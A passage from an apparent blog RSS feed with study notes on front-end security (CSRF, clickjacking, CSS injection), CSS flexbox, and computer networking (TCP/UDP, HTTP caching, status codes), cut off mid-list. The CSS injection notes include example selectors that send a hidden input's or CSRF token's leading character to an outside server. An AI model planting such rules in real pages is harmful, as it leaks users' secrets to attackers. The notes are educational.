<li>CSRF Token
<ul>
<li>我们可以要求所有的用户请求都携带一个CSRF攻击者无法获取到的Token。服务器通过校验请求是否携带正确的Token，来把正常的请求和攻击的请求区分开，也可以防范CSRF的攻击</li>
<li>双重Cookie验证
<ul>
<li>难以做到子域名的隔离</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="参考-1">参考：</h3>
<ul>
<li><a href="https://tech.meituan.com/2018/10/11/fe-security-csrf.html"  target="_blank" rel="noopener" >前端安全系列（二）：如何防止CSRF攻击？ - 美团技术团队</a></li>
</ul>
<hr>
<h2 id="点击劫持攻击">点击劫持攻击</h2>
<h3 id="原理">原理</h3>
<ol>
<li>黑客创建一个恶意页面</li>
<li>页面中有一个吸引用户点击的按钮</li>
<li>按钮上方放置一个透明的iframe，其src为黑客希望以用户的名义点击的网站</li>
</ol>
<h3 id="防护策略-1">防护策略</h3>
<ul>
<li>不希望被在iframe中查看: 使用 <code>X-Frame-Options: SAMEORIGIN</code></li>
<li>若要允许在iframe中显示，则可以使用一个<code>&lt;div&gt;</code>对整个页面进行遮盖
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="nx">top</span><span class="p">.</span><span class="nb">document</span><span class="p">.</span><span class="nx">domain</span> <span class="o">==</span> <span class="nb">document</span><span class="p">.</span><span class="nx">domain</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">protector</span><span class="p">.</span><span class="nx">remove</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span></code></pre></div></li>
<li>使用<code>samesite</code> cookie</li>
</ul>
<h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://zh.javascript.info/clickjacking"  target="_blank" rel="noopener" >点击劫持攻击</a></li>
</ul>
<hr>
<h2 id="css-injection">CSS injection</h2>
<ul>
<li>属性选择器可以選到「屬性符合某個條件的元素」: <code>input[value^=a]</code></li>
<li>可以利用 CSS 發出 request
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="nx">input</span><span class="p">[</span><span class="nx">name</span><span class="o">=</span><span class="s2">&#34;secret&#34;</span><span class="p">][</span><span class="nx">value</span><span class="o">^=</span><span class="s2">&#34;a&#34;</span><span class="p">]</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">background</span><span class="o">:</span> <span class="nx">url</span><span class="p">(</span><span class="nx">https</span><span class="o">:</span><span class="c1">//myserver.com?q=a)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span></code></pre></div></li>
<li>偷 hidden input
<ul>
<li>因為 input 的 type 是 hidden，所以這個元素不會顯示在畫面上,也就不会载入背景图片</li>
<li><code>display:block !important;</code>不起作用</li>
<li>方法:
<ul>
<li><code>+</code>: 選到後面的元素</li>
<li><code>has</code>: 選到「底下符合特殊條件的元素」</li>
</ul>
</li>
</ul>
</li>
<li>偷meta
<ul>
<li>可以自己用 CSS 讓這個元素變成可見
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nx">head</span><span class="p">,</span> <span class="nx">meta</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="nx">display</span><span class="o">:</span> <span class="nx">block</span><span class="p">;</span>  
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">meta</span><span class="p">[</span><span class="nx">name</span><span class="o">=</span><span class="s2">&#34;csrf-token&#34;</span><span class="p">][</span><span class="nx">content</span><span class="o">^=</span><span class="s2">&#34;a&#34;</span><span class="p">]</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="nx">background</span><span class="o">:</span> <span class="nx">url</span><span class="p">(</span><span class="nx">https</span><span class="o">:</span><span class="c1">//example.com?q=a);
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
</li>
</ul>
<h3 id="参考-3">参考</h3>
<ul>
<li><a href="https://blog.huli.tw/2022/09/29/css-injection-1/"  target="_blank" rel="noopener" >用 CSS 來偷資料 - CSS injection（上） - Huli&rsquo;s blog</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>CSS知识点整理之flex</title>
      <link>https://ds63.eu.org/2024/css_points_of_flex/</link>
      <pubDate>Thu, 10 Oct 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/css_points_of_flex/</guid>
      <description>自己学习过程中整理的关于CSS中flex的知识点</description>
      <content:encoded><![CDATA[<h2 id="基本概念">基本概念</h2>
<ul>
<li><strong>Primary axis</strong>: Children will be bunched up at the start of the container.</li>
<li><strong>Cross axis</strong>: Children will stretch out to fill the entire container.</li>
<li><strong>justify</strong> — to position something along the primary axis.</li>
<li><strong>align</strong> — to position something along the cross axis.</li>
<li><strong>content</strong> — a group of “stuff” that can be distributed.</li>
<li><strong>items</strong> — single items that can be positioned individually</li>
</ul>
<hr>
<h2 id="属性">属性</h2>
<h3 id="flex-direction"><code>flex-direction</code></h3>
<ul>
<li>属性决定主轴的方向（即项目的排列方向）。</li>
</ul>
<h3 id="justify-content"><code>justify-content</code></h3>
<ul>
<li>control the distribution of the group along <strong>the primary axis</strong></li>
</ul>
<h3 id="align-self"><code>align-self</code></h3>
<ul>
<li>change the alignment of a specific child along <strong>the cross axis</strong></li>
</ul>
<h3 id="align-items"><code>align-items</code></h3>
<ul>
<li>a convenient shorthand that automatically sets the alignment on all the children at once</li>
<li>flex-start：交叉轴的起点对齐。</li>
<li>flex-end：交叉轴的终点对齐。</li>
<li>center：交叉轴的中点对齐。</li>
<li>baseline: 项目的第一行文字的基线对齐。</li>
<li>stretch（默认值）：如果项目未设置高度或设为auto，将占满整个容器的高度</li>
</ul>
<h3 id="flex-grow"><code>flex-grow</code></h3>
<ul>
<li>number,默认为0，不能为负数</li>
<li>规定了 flex-grow 项在 flex 容器中分配剩余空间的相对比例</li>
<li>剩余空间是 flex 容器的大小减去所有 flex 项的大小加起来的大小</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/flex-grow"  target="_blank" rel="noopener" >flex-grow - CSS: Cascading Style Sheets | MDN</a></li>
</ul>
<h3 id="flex-shrink"><code>flex-shrink</code></h3>
<ul>
<li>number, 默认为1，不难为负数</li>
<li>The flex shrink factor is multiplied by the flex base size; this distributes negative space in proportion to how much the item can shrink. This prevents smaller items from shrinking to 0px before a larger item is noticeably reduced.</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/flex-shrink"  target="_blank" rel="noopener" >flex-shrink - CSS: Cascading Style Sheets | MDN</a></li>
</ul>
<h3 id="flex-basis"><code>flex-basis</code></h3>
<ul>
<li>
<p>指定了 flex 元素在主轴方向上的初始大小(内容盒)</p>
</li>
<li>
<p>flex-basis 优先级比 width(height)高</p>
</li>
<li>
<p>若 <code>flex-basis</code> 为 <code>auto</code>,则 <code>width</code> 设置多少就是多少。</p>
<ul>
<li>举例 <code>flex-basis:auto;width: 300px</code>，则子项就为300px(故意没说宽或者高，因为<code>flex-direction</code>可能会变,下文也一样)。若没设置 <code>width</code>， 则根据内容撑起来。</li>
</ul>
</li>
<li>
<p>若 <code>flex-basis</code> 为 0 ，根据优先级，那子项就是为0px。更不用说同时设置了具体数值，如:<code>flex-basis:200px;width:300px</code>,那子项自然为200px</p>
</li>
<li>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/flex-basis"  target="_blank" rel="noopener" >flex-basis - CSS: Cascading Style Sheets | MDN</a></p>
</li>
</ul>
<h3 id="flex">flex</h3>
<ul>
<li>
<p>是<code>flex-grow</code>,<code>flex-shrink</code>,<code>flex-basis</code>的简写</p>
</li>
<li>
<p><code>flex-basis</code>，<code>flex-grow</code>，<code>flex-shrink</code> 三者的关系</p>
<ul>
<li><code>flex-basis</code> 是在 <code>flex-grow</code>,<code>flex-shrink</code> 之前看的</li>
<li>意思就是 <code>flex-basis</code> 设定好了再看另外两者，若空间还有富余，就 <code>flex-grow</code>，若空间不够，就<code>flex-shrink</code></li>
</ul>
</li>
<li>
<p>取值</p>
<ol>
<li>initial</li>
</ol>
<ul>
<li>元素会根据自身宽高设置尺寸。它会缩短自身以适应 flex 容器，但不会伸长并吸收 flex 容器中的额外自由空间来适应 flex 容器。相当于将属性设置为&quot;flex: 0 1 auto&quot;。</li>
</ul>
<ol start="2">
<li>auto</li>
</ol>
<ul>
<li>元素会根据自身的宽度与高度来确定尺寸，但是会伸长并吸收 flex 容器中额外的自由空间，也会缩短自身来适应 flex 容器。这相当于将属性设置为 &ldquo;flex: 1 1 auto&rdquo;.</li>
</ul>
<ol start="3">
<li>none</li>
</ol>
<ul>
<li>元素会根据自身宽高来设置尺寸。它是完全非弹性的：既不会缩短，也不会伸长来适应 flex 容器。相当于将属性设置为&quot;flex: 0 0 auto&quot;。</li>
</ul>
<ol start="4">
<li>1</li>
</ol>
<ul>
<li><code>flex-grow:1 , flex-shrink-1, flex-basis-0</code>的缩写</li>
</ul>
</li>
</ul>
<h3 id="gap"><code>gap</code></h3>
<ul>
<li>allows us to create space in-between each Flex child</li>
</ul>
<h3 id="marginauto"><code>margin:auto</code></h3>
<ul>
<li>will gobble up the extra space, and apply it to the element&rsquo;s margin</li>
</ul>
<h3 id="flex-wrap"><code>flex-wrap</code></h3>
<ul>
<li><code>nowrap</code> 默认</li>
<li><code>wrap</code></li>
<li><code>warp-reverse</code></li>
</ul>
<hr>
<h2 id="实现两列等高">实现两列等高</h2>
<h3 id="需求描述">需求描述</h3>
<p>两列布局，以较矮的一列为基准，较高的一列超出部分以滚动条形式</p>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://juejin.cn/post/6924826615729881101?from=search-suggest"  target="_blank" rel="noopener" >CSS中，如何处理短内容和长内容？ - 掘金</a></li>
<li><a href="https://frontend-note.benbinbin.com/article/css/css-layout"  target="_blank" rel="noopener" >CSS 网页布局</a></li>
<li><a href="https://www.imarketinx.de/artikel/equal-height-columns-with-css-grid-layout.html"  target="_blank" rel="noopener" >Equal height columns with CSS Grid Layout - over any number of rows</a></li>
<li><a href="https://jessieji.com/2019/pure-css-masonry"  target="_blank" rel="noopener" >纯 CSS 实现横向排序的瀑布流式布局 - The Trivial</a></li>
<li><a href="https://css-tricks.com/equal-columns-with-flexbox-its-more-complicated-than-you-might-think/"  target="_blank" rel="noopener" >Equal Columns With Flexbox: It’s More Complicated Than You Might Think | CSS-Tricks</a></li>
<li><a href="https://yogwang.site/2022/CSS-flex-container-stretched-by-content/"  target="_blank" rel="noopener" >flex 容器宽度被内容撑开的问题 | blog [ YOG WANG ]</a></li>
</ul>
<hr>
<h2 id="实现换行">实现换行</h2>
<h3 id="需求描述-1">需求描述</h3>
<p>文字内容过长，希望它换行，而不是溢出</p>
<h3 id="解决过程">解决过程</h3>
<ol>
<li>第一版代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">div</span> <span class="na">className</span><span class="o">=</span><span class="s">&#34;flex flex-col&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">p</span> <span class="na">className</span><span class="o">=</span><span class="s">&#34;font-semibold text-lg text-blue-500 truncate&#34;</span><span class="p">&gt;{</span><span class="nx">product</span><span class="p">.</span><span class="nx">title</span><span class="p">}</span><span class="mi">111111111111111111111111</span><span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span></code></pre></div>这代码怎么调都还是溢出，后来发现删掉外层的flex就好了,改成</li>
<li>第二版代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">p</span> <span class="na">className</span><span class="o">=</span><span class="s">&#34;font-semibold text-lg text-blue-500 overflow-hidden text-ellipsis whitespace-nowrap&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span><span class="nx">product</span><span class="p">.</span><span class="nx">title</span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">p</span><span class="p">&gt;</span>
</span></span></code></pre></div></li>
<li>发现原因在于连续的字母或者数字会被当做一个单词或文本内容，故不会主动换行显示。</li>
<li>另一种解决方案是使用<a href="https://tailwindcss.com/docs/word-break#break-all"  target="_blank" rel="noopener" >break-all</a></li>
</ol>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/flex-wrap"  target="_blank" rel="noopener" >flex-wrap - CSS: Cascading Style Sheets | MDN</a></li>
<li><a href="https://juejin.cn/post/7314507576439472169"  target="_blank" rel="noopener" >Flex 踩坑指南（文字、图片溢出问题） - Minimum Content Size In CSS Flexbox - 掘金</a></li>
<li><a href="https://www.cnblogs.com/xinyuyue/p/14371506.html"  target="_blank" rel="noopener" >使用flex 布局时，英文不自动换行 - 北极星333y - 博客园</a></li>
<li><a href="https://xugaoyi.com/pages/42b66999cc27dc25/"  target="_blank" rel="noopener" >文字在一行或多行时超出显示省略号 | Evan&rsquo;s blog</a></li>
</ul>
<hr>
<h2 id="参考-2">参考</h2>
<ul>
<li><a href="https://www.joshwcomeau.com/css/interactive-guide-to-flexbox/"  target="_blank" rel="noopener" >An Interactive Guide to Flexbox in CSS</a></li>
<li><a href="https://www.ruanyifeng.com/blog/2015/07/flex-grammar.html"  target="_blank" rel="noopener" >Flex 布局教程：语法篇 - 阮一峰的网络日志</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/91470473"  target="_blank" rel="noopener" >flex 笔记（血与泪） - 知乎</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>计算机网络学习笔记</title>
      <link>https://ds63.eu.org/2024/learn_computer_network/</link>
      <pubDate>Thu, 10 Oct 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/learn_computer_network/</guid>
      <description>纸上得来终觉浅</description>
      <content:encoded><![CDATA[<h2 id="子网">子网</h2>
<h3 id="子网地址">子网地址</h3>
<ul>
<li>一个ip地址分为子网地址和主机地址两部分</li>
<li>子网地址 = ip地址和掩码进行与运算</li>
</ul>
<h3 id="相同子网的两个判定条件">相同子网的两个判定条件</h3>
<ul>
<li>子网地址相同</li>
<li>直接相连，没有中间路由器</li>
</ul>
<hr>
<h2 id="网关">网关</h2>
<ul>
<li>默认网关： 通往外部网络的第一跳路由器</li>
</ul>
<hr>
<h2 id="模型">模型</h2>
<h3 id="osi七层">OSI七层</h3>
<ul>
<li>分层
<ol>
<li>应用层</li>
<li>表示层</li>
<li>会话层: RPC, SQL,ASP</li>
<li>传输层</li>
<li>网络层</li>
<li>数据链路层</li>
<li>物理层</li>
</ol>
</li>
</ul>
<h3 id="tcpip五层模型">TCP/IP五层模型</h3>
<ul>
<li>分层
<ol>
<li>应用层: SMTP,TELNET,DNS,HTTP</li>
<li>传输层: TCP/UDP、TLS</li>
<li>网络层: ICMP,IP,ARP</li>
<li>数据链路层： mac地址,以太网,ARP,PPP(Point to Point Protocol)</li>
<li>物理层</li>
</ol>
</li>
<li>
  <img loading="lazy" src="https://img2018.cnblogs.com/blog/1311506/201809/1311506-20180919121800625-665107838.png" alt="封装"  /></li>
<li>参考
<ul>
<li><a href="https://www.cnblogs.com/xiugeng/p/8724565.html"  target="_blank" rel="noopener" >TCP/IP五层模型详解 - 休耕 - 博客园</a></li>
<li><a href="https://juejin.cn/post/6857700931708452878"  target="_blank" rel="noopener" >什么是TCP/IP?-四张图解释TCP/IP四层协议模型 - 掘金</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="tcp传输控制协议">TCP(传输控制协议)</h2>
<h3 id="特性">特性</h3>
<ul>
<li>可靠性：只要不得到确认，就重新发送数据报，直到得到对方的确认为止</li>
<li>参考：<a href="https://ciphersaw.me/2018/05/23/python-trick-tcp-server-and-client/"  target="_blank" rel="noopener" >Python 绝技 —— TCP 服务器与客户端 | Secrypt Agency</a></li>
</ul>
<h3 id="三次握手与四次挥手">三次握手与四次挥手</h3>
<ul>
<li>状态机：
  <img loading="lazy" src="https://cdn.jsdelivr.net/gh/SericaLaw/images@master/20211028/-16354356966601.png" alt="TCP状态机"  /></li>
<li>三次握手过程:
<ol>
<li>client发送连接请求报文，seq=x</li>
<li>server接受连接后回复ACK=x+1,seq=y ，并为此处连接分配资源</li>
<li>client接收到ACK报文后，回复ACK=y+1</li>
</ol>
</li>
<li>四次挥手过程:
<ol>
<li>client发送FIN，seq=x</li>
<li>server发送ACK=x+1</li>
<li>server发送FIN</li>
<li>client发送ACK</li>
</ol>
</li>
<li>参考
<ul>
<li><a href="https://www.iserica.com/posts/tcp-state-machine-and-network-programming/"  target="_blank" rel="noopener" >TCP状态机和Linux网络编程 | Serica</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/53374516"  target="_blank" rel="noopener" >“三次握手，四次挥手”你真的懂吗？ - 知乎</a></li>
</ul>
</li>
</ul>
<h3 id="滑动窗口">滑动窗口</h3>
<ul>
<li>接收方需要确认发送方发送的数据包</li>
<li>分为发送方滑动窗口，和接受方滑动窗口。</li>
<li>发送方滑动窗口
<ol>
<li>已发送已确认</li>
<li>已发送未确认</li>
<li>未发送可发送 (2+3的大小未advertised window)</li>
<li>未发送不可发送</li>
</ol>
</li>
<li>接受方滑动窗口
<ol>
<li>已接受已确认</li>
<li>等待接受未确认(advertised window)大小等于接收方发送的tcp头部的window size</li>
<li>不可接受</li>
</ol>
</li>
</ul>
<h3 id="拥塞窗口">拥塞窗口</h3>
<ul>
<li>发送端定义</li>
<li>CWND(congestion window)</li>
<li>发送端最大的发送范围等于Min(拥塞窗口,滑动窗口)</li>
<li>拥塞窗口会动态地随着网络情况的变化进行调整</li>
<li>大体策略为: 如果没有拥塞，则扩大窗口大小，否则就减小。</li>
</ul>
<h3 id="一台机器上最多能创建多少个tcp连接">一台机器上最多能创建多少个TCP连接</h3>
<ul>
<li>
<blockquote>
<p>在内存、文件句柄足够的话可以创建的连接是没有限制的（每个TCP连接至少要消耗一个文件句柄）</p>
</blockquote>
</li>
<li>参考: <a href="https://plantegg.github.io/2020/11/30/%E4%B8%80%E5%8F%B0%E6%9C%BA%E5%99%A8%E4%B8%8A%E6%9C%80%E5%A4%9A%E8%83%BD%E5%88%9B%E5%BB%BA%E5%A4%9A%E5%B0%91%E4%B8%AATCP%E8%BF%9E%E6%8E%A5/"  target="_blank" rel="noopener" >到底一台服务器上最多能创建多少个TCP连接 | plantegg</a></li>
</ul>
<h3 id="tcp和udp的区别">TCP和UDP的区别</h3>
<ol>
<li>
<p><strong>连接与无连接</strong></p>
<ul>
<li><strong>TCP</strong>: 是一种<strong>面向连接</strong>的协议。在发送数据之前，必须先建立一个连接（称为“三次握手”）。在通信过程中，TCP确保双方之间建立的连接保持稳定，直到通信完成。</li>
<li><strong>UDP</strong>: 是一种<strong>无连接</strong>的协议。它不需要在发送数据前建立连接，也不保证发送的数据包会到达目标，因此通信效率较高，但可靠性较低。</li>
</ul>
</li>
<li>
<p><strong>可靠性</strong></p>
<ul>
<li><strong>TCP</strong>: 提供可靠的数据传输。它确保所有的数据包都能够按顺序到达，并且如果有任何数据包丢失，TCP会负责重发。这种机制使得TCP适合需要高可靠性的数据传输，比如文件传输、电子邮件、网页浏览等。</li>
<li><strong>UDP</strong>: 不保证数据包的可靠传输。它不提供重传机制，也不保证数据包按顺序到达，因此如果数据丢失，UDP不会通知发送方。UDP适用于对丢包不敏感的应用场景，比如实时音视频传输、在线游戏等。</li>
</ul>
</li>
<li>
<p><strong>流量控制和拥塞控制</strong></p>
<ul>
<li><strong>TCP</strong>: 提供流量控制和拥塞控制机制。这意味着发送方会根据接收方的处理能力以及网络状况调整发送速率，避免网络过载。TCP使用滑动窗口、慢启动等机制来优化网络传输性能。</li>
<li><strong>UDP</strong>: 不提供流量控制和拥塞控制。UDP会尽最大努力发送数据包，不管接收方是否能够处理，也不关心网络是否拥挤。</li>
</ul>
</li>
<li>
<p><strong>数据传输方式</strong></p>
<ul>
<li><strong>TCP</strong>: 以<strong>字节流</strong>的形式传输数据。TCP把应用层的数据分割成合适大小的段，并确保它们按顺序到达目标应用层。TCP的字节流传输方式使得应用层收到的数据是连续的、完整的。</li>
<li><strong>UDP</strong>: 以<strong>数据报</strong>的形式传输数据。每个UDP包是独立的，接收方收到的可能是独立且无顺序的多个数据报文。由于UDP没有确保顺序到达的机制，因此数据包可能会乱序、丢失或重复。</li>
</ul>
</li>
<li>
<p><strong>开销</strong></p>
<ul>
<li><strong>TCP</strong>: 由于需要建立连接、保证可靠传输以及提供流量控制，TCP的开销较大。TCP头部包含20字节的控制信息（例如序号、确认号、窗口大小等）。</li>
<li><strong>UDP</strong>: 相对来说，UDP的开销较小。它的头部只有8字节，包含了必要的端口信息和校验和字段。由于不需要建立连接或管理重传，UDP的通信效率更高。</li>
</ul>
</li>
<li>
<p><strong>使用场景</strong></p>
<ul>
<li><strong>TCP</strong>: 适用于需要高可靠性、数据完整性和传输顺序的场景。例如：
<ul>
<li>文件传输（如FTP）</li>
<li>网页浏览（HTTP/HTTPS）</li>
<li>电子邮件传输（SMTP）</li>
</ul>
</li>
<li><strong>UDP</strong>: 适用于对传输速度要求高且对数据丢失不敏感的场景。例如：
<ul>
<li>实时音视频传输（如VoIP、视频会议）</li>
<li>在线游戏</li>
<li>DNS查询</li>
<li>流媒体播放</li>
</ul>
</li>
</ul>
</li>
</ol>
<hr>
<h2 id="http--https">HTTP / HTTPS</h2>
<h3 id="http缓存机制">HTTP缓存机制</h3>
<ul>
<li>
<p>分类</p>
<ol>
<li>强缓存</li>
<li>协商缓存</li>
</ol>
</li>
<li>
<p>响应头</p>
<ol>
<li><code>Expires</code></li>
</ol>
<ul>
<li>HTTP/1</li>
</ul>
<ol start="2">
<li><code>Last-Modified</code> / <code>If-Modified-Since</code></li>
</ol>
<ul>
<li>HTTP/1</li>
<li>流程
<ol>
<li>浏览器第一次访问资源，<strong>服务器</strong>会 Response Header 里添加 Last-Modified 的值</li>
<li>浏览器在下一次请求这个资源的时候，检测到有<code>Last-Modified</code>这个 Header。<strong>浏览器</strong>就会在Request中加上 <code>If-Modified-Since</code>，<code>If-Modified-Since</code>的值就是 Last-Modified 的值</li>
<li>服务器收到请求后，如果资源没有修改，服务器返回 304 Not Modified 状态码，并且不包含资源的内容。浏览器此时会使用本地缓存中的资源。</li>
<li>如果资源发生了修改，服务器会返回新的资源内容和更新后的 Last-Modified。</li>
</ol>
</li>
</ul>
<ol start="3">
<li><code>Cache-Control</code></li>
</ol>
<ul>
<li>HTTP/1.1</li>
<li>优先级比 Expires 要高</li>
<li>可选值
<ul>
<li>public</li>
<li>private</li>
<li>no-store: 完全禁用缓存，资源不会存储在缓存中。</li>
<li>no-cache: 告诉浏览器要使用缓存文件，但是每次需要跟服务器确认是最新文件以后才能用，一般使用 Etag 或者 Last-Modified 字段来控制缓存</li>
<li>max-age=60</li>
</ul>
</li>
</ul>
<ol start="4">
<li><code>ETag</code> / <code>If-None-Match</code></li>
</ol>
<ul>
<li>HTTP/1.1</li>
<li>ETag由服务器生成,三种方式：基于内容 / 基于版本 / 自定义生成</li>
<li>浏览器在下一次加载资源向服务器发送请求时，会将上一次返回的<code>Etag</code>值放到request header里的<code>If-None-Match</code>里</li>
<li>ETag 的优先级要高于 Last-Modified</li>
</ul>
</li>
<li>
<p>缓存控制策略的优先级</p>
<ul>
<li>Cache-Control 优先于 Expires</li>
</ul>
</li>
<li>
<p>参考</p>
<ul>
<li><a href="https://software-factotum.medium.com/effective-http-caching-part-i-62be61280c8c"  target="_blank" rel="noopener" >Effective HTTP Caching — Part I. This series presents an exhaustive dive… | by msingh | Medium</a></li>
</ul>
</li>
</ul>
<h3 id="常见的http状态码">常见的HTTP状态码</h3>
<ul>
<li>分类:
<ul>
<li>1 表示消息</li>
<li>2 表示成功</li>
<li>3 表示重定向</li>
<li>4 表示请求错误</li>
<li>5 表示服务器错误</li>
</ul>
</li>
<li>常见
<ul>
<li>200： OK. 服务器已成功处理了客户端的请求，并且已返回所请求的资源</li>
<li>206： 服务器成功处理了部分请求，一般用来做断点续传，或者是视频文件等大文件的加载</li>
<li>301： 请求的网页已永久移动到新位置，常用于域名更换</li>
<li>302： 临时重定向不会缓存，常用于未登陆的用户访问用户中心重定向到登录页面</li>
<li>304： Not Modified. 自从上次请求后，请求的网页未修改过。服务器返回此响应时，不会返回网页内容。</li>
<li>400:  Bad Request</li>
<li>401： 请求要求身份验证</li>
<li>403:  Forbidden</li>
<li>404： 服务器找不到请求的网页</li>
<li>405： 禁用请求中指定的方法</li>
<li>500： 服务器内部错误</li>
<li>501:  Not Implemented</li>
<li>502:  Bad Gateway. 请求未完成，服务器从上游服务器收到一个无效的响应</li>
<li>503:  Service Unvailable.</li>
<li>504： Gateway Timeout.</li>
</ul>
</li>
<li>参考
<ul>
<li><a href="https://vue3js.cn/interview/http/status.html"  target="_blank" rel="noopener" >面试官：说说HTTP 常见的状态码有哪些，适用场景？ | web前端面试 - 面试官系列</a></li>
</ul>
</li>
</ul>
<h3 id="常见的http方法">常见的HTTP方法</h3>
<ol>
<li>get
<ul>
<li>用于请求数据，通常用于从服务器获取资源或信息</li>
<li>幂等的，这意味着多次执行相同的 GET 请求，应该产生相同的结果，不会修改服务器上的数据</li>
<li>由于数据通过 URL 传递，浏览器和服务器对 URL 长度有一定限制，通常在 2KB 到 8KB 范围内</li>
</ul>
</li>
<li>put</li>
<li>delete</li>
<li>post
<ul>
<li>用于向服务器发送数据，一般用于提交表单、上传文件或触发服务器上的某种动作</li>
<li>不是幂等的，每次发送 POST 请求都可能修改服务器上的数据或引发不同的操作</li>
</ul>
</li>
<li>head</li>
</ol>
<h3 id="常见的http-请求头">常见的HTTP 请求头</h3>
<ol>
<li>Host</li>
<li>User-Agent</li>
<li>Accept</li>
<li>Accept-Encoding: zip, deflate, br</li>
<li>Accept-Language</li>
<li>Authorization</li>
<li>Content-Type</li>
<li>Content-Length : 指示请求体的字节长度</li>
<li>Referer: 告诉服务器从哪个页面发起的请求</li>
<li>Connection: <code>Connection: keep-alive</code></li>
<li>Cache-Control</li>
<li>Origin: 发起请求的来源</li>
<li>Range: 用于请求资源的部分内容，常见于下载请求中，指定从哪个字节位置开始获取资源</li>
</ol>
<h3 id="content-type">Content-Type</h3>
<ul>
<li>用于指示资源的原始媒体类型</li>
<li>常见格式
<ol>
<li>text/html</li>
<li>text/plain</li>
<li>image/png</li>
<li>application/json</li>
<li>application/octet-stream</li>
<li>application/x-www-form-urlencoded</li>
<li>multipart/form-data</li>
</ol>
</li>
<li>参考:
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Type"  target="_blank" rel="noopener" >Content-Type - HTTP | MDN</a></li>
<li><a href="https://www.runoob.com/http/http-content-type.html"  target="_blank" rel="noopener" >HTTP content-type | 菜鸟教程</a></li>
</ul>
</li>
</ul>
<hr>
<h3 id="http11http2-和-http3-的介绍及它们的主要区别">HTTP/1.1、HTTP/2 和 HTTP/3 的介绍及它们的主要区别</h3>
<ul>
<li>HTTP/1.1
<ul>
<li>特点</li>
</ul>
<ol>
<li>
<p><strong>持久连接</strong>：在 HTTP/1.0 中，每次请求都需要新建一个 TCP 连接，而 HTTP/1.1 引入了持久连接（Keep-Alive），允许多个请求复用同一个连接，从而减少了建立连接的开销。</p>
</li>
<li>
<p><strong>管线化（Pipelining）</strong>：HTTP/1.1 支持请求管线化，即可以在发送一个请求后，不等响应完成就发送下一个请求，从而减少等待时间。不过由于实现复杂，这个特性并没有得到广泛应用。</p>
</li>
<li>
<p><strong>缓存控制</strong>：HTTP/1.1 引入了更灵活的缓存机制，通过 <code>Cache-Control</code> 和 <code>ETag</code> 头部来优化缓存和验证机制，减少了重复的数据传输。</p>
</li>
<li>
<p><strong>Host 头部</strong>：HTTP/1.1 要求所有请求都包含 <code>Host</code> 头部，使得一个服务器可以托管多个域名（虚拟主机）。</p>
</li>
</ol>
<ul>
<li>局限性：</li>
</ul>
<ol>
<li><strong>队头阻塞（Head-of-Line Blocking）</strong>：由于 HTTP/1.1 基于单一的 TCP 连接，当一个请求阻塞时，后续的请求也会被阻塞。</li>
<li><strong>并发连接的限制</strong>：浏览器为了加速页面加载，往往需要建立多个 TCP 连接来并行加载资源，但这会加重服务器和网络的负担。Chrome浏览器通常允许<strong>每个域名同时发出</strong>的最大连接数为<strong>6个</strong>。</li>
</ol>
</li>
</ul>
<ol start="2">
<li>HTTP/2</li>
</ol>
<ul>
<li>特点</li>
</ul>
<ol>
<li>
<p><strong>二进制协议</strong>：HTTP/2 使用二进制格式而不是 HTTP/1.1 的文本格式，这样数据可以更高效地解析和处理。</p>
</li>
<li>
<p><strong>多路复用（Multiplexing）</strong>：HTTP/2 允许在同一个 TCP 连接上同时发送多个请求和响应，避免了队头阻塞。每个请求被分为独立的帧，并通过流 ID 来区分，这些帧可以交错传输。</p>
</li>
<li>
